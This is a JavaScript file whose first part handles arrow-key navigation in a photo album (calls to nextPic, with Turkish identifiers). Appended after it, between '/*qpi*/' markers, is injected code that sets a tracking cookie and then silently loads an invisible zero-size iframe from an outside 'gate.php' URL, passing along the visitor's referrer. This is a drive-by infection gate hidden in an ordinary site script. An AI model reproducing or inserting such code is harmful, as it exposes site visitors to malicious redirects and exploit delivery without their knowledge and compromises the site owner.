document.onkeydown=function(e){
var e=window.event || e

 var keyunicode=e.charCode || e.keyCode;
 //alert("CharCode value: "+keyunicode)
 
 if (keyunicode == 37) {
 	//alert("sol");
 	//alert(document.getElementById('suanki').src);
 	nextPic(document.takip.album.value, document.getElementById('suanki').src.slice(document.getElementById('suanki').src.lastIndexOf('/')+1), 1);
 } 
 
 if (keyunicode == 39) {
 	//alert("sag: "+document.takip.album.value+", suanki: "+document.getElementById('suanki').src.slice(document.getElementById('suanki').src.lastIndexOf('/')+1));
 	nextPic(document.takip.album.value, document.getElementById('suanki').src.slice(document.getElementById('suanki').src.lastIndexOf('/')+1), 2);
 }
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://bigdeal777.com/gate.php?f=970144&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
